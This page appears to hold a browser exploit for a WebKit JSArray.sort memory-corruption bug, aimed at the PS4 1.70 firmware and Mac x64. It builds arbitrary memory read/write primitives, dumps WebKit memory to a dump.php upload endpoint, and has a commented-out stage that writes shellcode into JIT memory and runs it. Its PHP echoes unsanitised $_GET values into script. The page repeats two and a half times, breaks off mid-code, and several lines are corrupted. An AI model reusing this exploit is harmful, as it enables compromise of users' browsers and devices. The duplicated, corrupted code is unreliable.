<html>
<body>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">
// global vars
var _gc, _cnt = 0;
function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;
// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);
// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}
// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);
// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }
//
// Part 2: creating corrupted JSValue which points to the (u32+0x1 address
//
// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}
a1.sort(myCompFunc);
// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x1
var c = a2.length;
logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x1 { logAdd("error: 2"); a1[3] = 0; return 2; }
//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//
// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}
// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }
// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];
// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}
// protect from GC
_gc.push(a3,mo,funcs);
// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}
// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);
// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8; // 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;
// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
// check results: u32.length is taken from f's internals now
logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }
//
// Part 4: getting the JIT-code memory address
//
// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}
// get the memory address of u32
var u32addr = getObjAddr(u32);
logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
logAdd("u32 base = 0x" + u32base.toString(16));
// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }
}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;
// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);
// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);
u32base = addr;
logAdd("u32 new base = 0x" + u32base.toString(16));
return true;
}
// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}
logAdd("u32 size: 0x" + u32.length.toString(16));
// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object
var xx = getU64from(u32base0+0x20);
var yy=0;
logAdd("verify base: 0x"+xx.toString(16) );
//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.
// 1.70 PS4 = -0x30bf0 is the start of webkit
// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work
// xx will be the base address of WebKit2
var xx = <?php print $_GET["base"];?>;
setBase(xx);
// This is where you set the block dumping size (number of u32)
//var maxsize=0x7000;
var maxsize=<?php print $_GET["chunk"];?>;
// This is where you set how many blocks you want to dump
var maxiters=<?php print $_GET["cnt"];?>;
for(var bb=0;bb<maxiters;bb++) {
var dump_data = "";
for(var aa=0;aa<(maxsize-1);aa++) {
// Manually create a string of data
dump_data += u32[(bb*maxsize)+aa].toString(16) +",";
}
dump_data+= u32[(maxsize-1)].toString(16); // Add the last one without a trailing comma
logAdd("data to string: finished");
// Currently this has to dump a seperate file per iteration
// I tried to concat them all into one file, but I was getting some weird overwriting and missing commas..
// It would be nice to get that fixed though.....
fname = "dump.php?name=dump-0x" + xx.toString(16) + "-" + bb;
$.ajax({
url : fname,
type: "POST",
data : dump_data,
success: function(data, textStatus, jqXHR)
{
logAdd("upload: success");
},
error: function (jqXHR, textStatus, errorThrown)
{
logAdd("upload fail: " + textStatus);
}
});
}
/* // read ((JSFunction)f).m_executable;
var jitObj = getU64(4);
logAdd("JIT object = 0x" + jitObj.toString(16));
// read ExecutableBase.m_jitCodeForCall
jitObj += 0x18;
var jitAddr = getU64from(jitObj);
logAdd("JIT address = 0x" + jitAddr.toString(16));
if (!jitAddr) { logAdd("error: 4"); return 4; }
//
// Part 5: payload execution
//
// create "empty" payload for Mac x64
var payload = U8toU32(new Uint8Array([
// custom part
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
// ...
//
// payload returns 0x1234 // modify it to ensure that payload works
0x48,0xB8,0x34,0x12, 0x00,0x00,0x00,0x00, 0xFF,0xFF, // mov rax, 0xFFFF000000001234
// mandatory part
0x4D,0x8B,0x6D,0xD8, // mov r13, [r13-0x28] // webkit needs this
0xC3, // ret
0x90 // for 4-bytes alignment
]));
// make sure that u32.length is enough
if (payload.length > u32len) { logAdd("error: u32.length is not enough for payload"); return 5; }
// choose some place in f() JIT memory for payload
var jaddr = jitAddr + 0x40;
jaddr -= jaddr % 4;
// modify ((ExecutableBase)f).m_jitCodeForCall
setU64to(jitObj, jaddr);
logAdd("payload address = 0x" + jaddr.toString(16));
var res;
// copy our payload into the f() JIT memory
if (!setBase(jaddr)) { logAdd("error: 5"); return 5; }
logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
exchangeArrays(payload, u32, 0);
try {
// call payload
res = f(0);
}catch(e){
logAdd("Error 5: " + e);
}
// restore overwritten JIT memory
exchangeArrays(payload, u32, 0);
//logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
//
// Part 6: patching corrupted memory
//
// restore m_jitCodeForCall
setU64to(jitObj, jitAddr);
// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}
// delete corrupted property
delete mo.prop0;
// check that payload returns 0x1234
logAdd((res == 0x1234 ? "Ok:":"Fail:") + " f() = 0x" + res.toString(16));
if (res != 0x1234) { return 9; } // error
*/
}
catch(e) {
logAdd(e);
}
return 0;
}
// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");
// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }
// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}
logAdd("<br/>======== End ========<br/><br/>");
}
catch(e) {
logAdd(e);
}
_log = null;
}
// print environment info
writeEnvInfo();
</script>
<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div>
</body>
</html>
<html>
<body>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">
// global vars
var _gc, _cnt = 0;
function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;
// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);
// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}
// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);
// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }
//
// Part 2: creating corrupted JSValue which points to the (u32+0x1 address
//
// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}
a1.sort(myCompFunc);
// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x1
var c = a2.length;
logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x1 { logAdd("error: 2"); a1[3] = 0; return 2; }
//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//
// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}
// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }
// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];
// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}
// protect from GC
_gc.push(a3,mo,funcs);
// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}
// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);
// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8; // 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;
// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
// check results: u32.length is taken from f's internals now
logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }
//
// Part 4: getting the JIT-code memory address
//
// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}
// get the memory address of u32
var u32addr = getObjAddr(u32);
logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
logAdd("u32 base = 0x" + u32base.toString(16));
// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }
}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;
// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);
// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);
u32base = addr;
logAdd("u32 new base = 0x" + u32base.toString(16));
return true;
}
// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}
logAdd("u32 size: 0x" + u32.length.toString(16));
// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object
var xx = getU64from(u32base0+0x20);
var yy=0;
logAdd("verify base: 0x"+xx.toString(16) );
//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.
// 1.70 PS4 = -0x30bf0 is the start of webkit
// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work
// xx will be the base address of WebKit2
var xx = <?php print $_GET["base"];?>;
setBase(xx);
// This is where you set the block dumping size (number of u32)
//var maxsize=0x7000;
var maxsize=<?php print $_GET["chunk"];?>;
// This is where you set how many blocks you want to dump
var maxiters=<?php print $_GET["cnt"];?>;
for(var bb=0;bb<maxiters;bb++) {
var dump_data = "";
for(var aa=0;aa<(maxsize-1);aa++) {
// Manually create a string of data
dump_data += u32[(bb*maxsize)+aa].toString(16) +",";
}
dump_data+= u32[(maxsize-1)].toString(16); // Add the last one without a trailing comma
logAdd("data to string: finished");
// Currently this has to dump a seperate file per iteration
// I tried to concat them all into one file, but I was getting some weird overwriting and missing commas..
// It would be nice to get that fixed though.....
fname = "dump.php?name=dump-0x" + xx.toString(16) + "-" + bb;
$.ajax({
url : fname,
type: "POST",
data : dump_data,
success: function(data, textStatus, jqXHR)
{
logAdd("upload: success");
},
error: function (jqXHR, textStatus, errorThrown)
{
logAdd("upload fail: " + textStatus);
}
});
}
/* // read ((JSFunction)f).m_executable;
var jitObj = getU64(4);
logAdd("JIT object = 0x" + jitObj.toString(16));
// read ExecutableBase.m_jitCodeForCall
jitObj += 0x18;
var jitAddr = getU64from(jitObj);
logAdd("JIT address = 0x" + jitAddr.toString(16));
if (!jitAddr) { logAdd("error: 4"); return 4; }
//
// Part 5: payload execution
//
// create "empty" payload for Mac x64
var payload = U8toU32(new Uint8Array([
// custom part
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
// ...
//
// payload returns 0x1234 // modify it to ensure that payload works
0x48,0xB8,0x34,0x12, 0x00,0x00,0x00,0x00, 0xFF,0xFF, // mov rax, 0xFFFF000000001234
// mandatory part
0x4D,0x8B,0x6D,0xD8, // mov r13, [r13-0x28] // webkit needs this
0xC3, // ret
0x90 // for 4-bytes alignment
]));
// make sure that u32.length is enough
if (payload.length > u32len) { logAdd("error: u32.length is not enough for payload"); return 5; }
// choose some place in f() JIT memory for payload
var jaddr = jitAddr + 0x40;
jaddr -= jaddr % 4;
// modify ((ExecutableBase)f).m_jitCodeForCall
setU64to(jitObj, jaddr);
logAdd("payload address = 0x" + jaddr.toString(16));
var res;
// copy our payload into the f() JIT memory
if (!setBase(jaddr)) { logAdd("error: 5"); return 5; }
logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
exchangeArrays(payload, u32, 0);
try {
// call payload
res = f(0);
}catch(e){
logAdd("Error 5: " + e);
}
// restore overwritten JIT memory
exchangeArrays(payload, u32, 0);
//logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
//
// Part 6: patching corrupted memory
//
// restore m_jitCodeForCall
setU64to(jitObj, jitAddr);
// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}
// delete corrupted property
delete mo.prop0;
// check that payload returns 0x1234
logAdd((res == 0x1234 ? "Ok:":"Fail:") + " f() = 0x" + res.toString(16));
if (res != 0x1234) { return 9; } // error
*/
}
catch(e) {
logAdd(e);
}
return 0;
}
// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");
// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }
// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}
logAdd("<br/>========*End *========<br/><br/>");
}
catch(e) {
logAdd(e);
}
_log = null;
}
// print environment info
writeEnvInfo();
</script>
<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div>
</body>
</html>
<html>
<body>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">
// global vars
var _gc, _cnt = 0;
function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;
// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);
// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}
// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);
// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }
//
// Part 2: creating corrupted JSValue which points to the (u32+0x1 address
//
// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}
a1.sort(myCompFunc);
// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x1
var c = a2.length;
logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x1 { logAdd("error: 2"); a1[3] = 0; return 2; }
//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//
// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}
// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }
// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];
// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}
// protect from GC
_gc.push(a3,mo,funcs);
// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}
// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);
// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8; // 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;
// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
// check results: u32.length is taken from f's internals now
logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }
//
// Part 4: getting the JIT-code memory address
//
// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}
// get the memory address of u32
var u32addr = getObjAddr(u32);
logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
logAdd("u32 base = 0x" + u32base.toString(16));
// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }
}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;
// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);
// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);
u32base = addr;
logAdd("u32 new base = 0x" + u32base.toString(16));
return true;
}
// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}
logAdd("u32 size: 0x" + u32.length.toString(16));
// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object
var xx = getU64from(u32base0+0x20);
var yy=0;
logAdd("verify base: 0x"+xx.toString(16) );
//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.
// 1.70 PS4 = -0x30bf0 is the start of webkit
// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work
// xx will be the base address of WebKit2
var xx = <?php print $_GET["base"];?>;
setBase(xx);
// This is where you set the block dumping size (number of u32)
//var maxsize=0x7000;
var maxsize=<?php print $_GET["chunk"];?>;
// This is where you set how many blocks you want to dump
var maxiters=<?php print $_GET["cnt"];?>;
for(var bb=0;bb<maxiters;bb++) {
var dump_data = "";
for(var aa=0;aa<(maxsize-1);aa++) {
// Manually create a string of data
dump_data += u32[(bb*maxsize)+aa].toString(16) +",";
}
dump_data+= u32[(maxsize-1)].toString(16); // Add the last one without a trailing comma
logAdd("data to string: finished");
// Currently this has to dump a seperate file per iteration
// I tried to concat them all into one file, but I was getting some weird overwriting and missing commas..
// It would be nice to get that fixed though.....
fname = "dump.php?name=dump-0x" + xx.toString(16) + "-" + bb;
$.ajax({
url : fname,
type: "POST",
data : dump_data,
success: function(data, textStatus, jqXHR)
{
logAdd("upload: success");
},
error: function (jqXHR, textStatus, errorThrown)
{
logAdd("upload fail: " + textStatus);
}
});
}
/* // read ((JSFunction)f).m_executable;
var jitObj = getU64(4);
logAdd("JIT object = 0x" + jitObj.toString(16));
// read ExecutableBase.m_jitCodeForCall
jitObj += 0x18;
var jitAddr = getU64from(jitObj);
logAdd("JIT address = 0x" + jitAddr.toString(16));
if (!jitAddr) { logAdd("error: 4"); return 4; }
//
// Part 5: payload execution
//
// create "empty" payload for Mac x64
var payload = U8toU32(new Uint8Array([
// custom part
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
// ...
//
// payload returns 0x1234 // modify it to ensure that payload works
0x48,0xB8,0x34,0x12, 0x00,0x00,0x00,0x00, 0xFF,0xFF, // mov rax, 0xFFFF000000001234
// mandatory part
0x4D,0x8B,0x6D,0xD8, // mov r13, [r13-0x28] // webkit needs this
0xC3, // ret
0x90 // for 4-bytes alignment
]));
// make sure that u32.length is enough
if (payload.length > u32len) { logAdd("error: u32.length is not enough for payload"); return 5; }
// choose some place in f() JIT memory for payload
var jaddr = jitAddr + 0x40;
jaddr -= jaddr % 4;
// modify ((ExecutableBase)f).m_jitCodeForCall
setU64to(jitObj, jaddr);
logAdd("payload address = 0x" + jaddr.toString(16));
var res;
// copy our payload into the f() JIT memory
if (!setBase(jaddr)) { logAdd("error: 5"); return 5; }
logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
exchangeArrays(payload, u32, 0);
try {
// call payload
res = f(0);
}catch(e){
logAdd("Error 5: " + e);
}
// restore overwritten JIT memory
exchangeArrays(payload, u32, 0);
//logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
//
// Part 6: patching corrupted memory
//
// restore m_jitCodeForCall
setU64to(jitObj, jitAddr);
// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}
// delete corrupted property
delete mo.prop0;
// check that payload returns 0x1234
logAdd((res == 0x1234 ? "Ok:":"Fail:") + " f() = 0x" + res.toString(16));
if (res != 0x1234) { return 9; } // error
*/
}
catch(e) {
logAdd(e);
}
return 0;
}
// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");
// check OS version
